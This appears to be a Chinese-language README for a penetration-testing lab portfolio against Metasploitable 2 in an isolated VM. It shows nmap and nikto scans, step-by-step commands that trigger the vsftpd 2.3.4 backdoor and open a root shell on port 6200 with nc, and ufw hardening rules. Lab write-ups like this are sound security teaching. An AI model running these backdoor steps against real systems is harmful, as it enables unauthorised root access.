🔬 网络安全实验室

一个模拟真实攻击与防御场景的受控虚拟环境

📋 概述

本实验室在一个完全隔离的虚拟环境中模拟了真实的渗透测试和防御加固练习。它演示了完整的攻击性安全生命周期——从侦察到利用——以及能够缓解每种风险的防御控制措施。

关键成果： 通过利用已知后门，在无需凭据且无特殊工具的情况下，于60秒内获取了目标机器的完全 root 访问权限。

侦查  →  扫描  →  利用  →  防御与加固

sudo nmap -sV -O 192.168.148.130 -oN scan_before.txt

关键发现—共23个开放端口：

nikto -h http://192.168.148.130 -o nikto_before.txt

发现18个漏洞，包括：

vsftpd 2.3.4 包含一个由供应链攻陷引入的后门。发送以 :) 结尾的用户名会导致服务器在 6200 端口打开一个 root shell。

# 步骤 1 — 通过 FTP 触发后门
ftp 192.168.148.130
# 用户名: backdoor:)   密码: 任意内容

# 步骤 2 — 连接到生成的 shell
nc 192.168.148.130 6200

# 步骤 3 — 验证访问权限
whoami
# → root

结果： 在 < 60 秒 内获得了完全的 root 级别系统访问权限——无需凭据、无需利用框架。

影响： 拥有 root 权限的攻击者可以读取/修改/删除任何文件、安装恶意软件、窃取数据或横向移动至网络中的其他主机。

sudo ufw enable
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow 22/tcp    # 仅允许 SSH
sudo ufw status verbose

请参阅 report.md 获取完整评估——包括完整方法论、命令输出、发现表、利用步骤以及所有修复建议。

本实验室是在完全隔离的虚拟环境中使用故意存在漏洞的软件（Metasploitable 2）进行的。所有技术仅用于教育和作品集展示目的。请勿在你未拥有或未经明确书面许可的系统上复现。